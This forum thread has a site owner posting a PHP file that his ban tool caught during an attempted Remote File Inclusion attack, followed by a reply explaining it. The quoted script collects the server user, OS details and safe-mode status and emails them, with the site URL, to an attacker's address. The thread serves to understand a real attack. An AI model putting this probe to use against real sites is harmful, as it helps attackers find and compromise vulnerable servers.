What the hell is this

One of the script i bough have a automatic banning tool that ban people when they try to hack my site. But i do not really get what they are trying to do and are they using hacked website to hack me

I got this in my admin that this site try to hack me

http://www.kingxx.xpg.com.br/tester.txt?

PHP:

if they delete the code i post it here

<?php
ini_set("max_execution_time",-1);
set_time_limit(0);
$user = @get_current_user();
$UNAME = @php_uname();
$SafeMode = @ini_get('safe_mode');
 if ($SafeMode == '') { $SafeMode = "OFF"; }
 else { $SafeMode = " $SafeMode "; }
$delet=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$dados=("<b>Produto</b> = " . $UNAME . "
<i>Seguran?a</i> = " . $SafeMode . "
http://" . $delet . " 

Muito obrigado por comprar o hehe1 com: <u>delet</u>");
$email = "www.vull@gmail.com";
$assunto = "DEUS É PAI";
$email1 = "www.vull@gmail.com";
$headers = "From: <$email>\r\n";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
if(mail($email1,$assunto,$dados,$headers)){
echo "Isso, ja foi!";
exit();
}
else{
echo "N?o foi.";
exit();
}
?>

PHP:

So what are these guys up to

 

This is a sample exploit check for Remote File Inclusion vulnerability.
What this script does is that if your site is vulnerable, this script will send the following information to attackers:

get_current_user : This can provide the privilege level of the process of PHP
uname : This provide OS information
safe_mode: running under safe mode ?

Attackers wrote worms to automatic finding. They will get a email about vulnerable site.

 

and i guess they put this one sites that have no idea they are beeing used?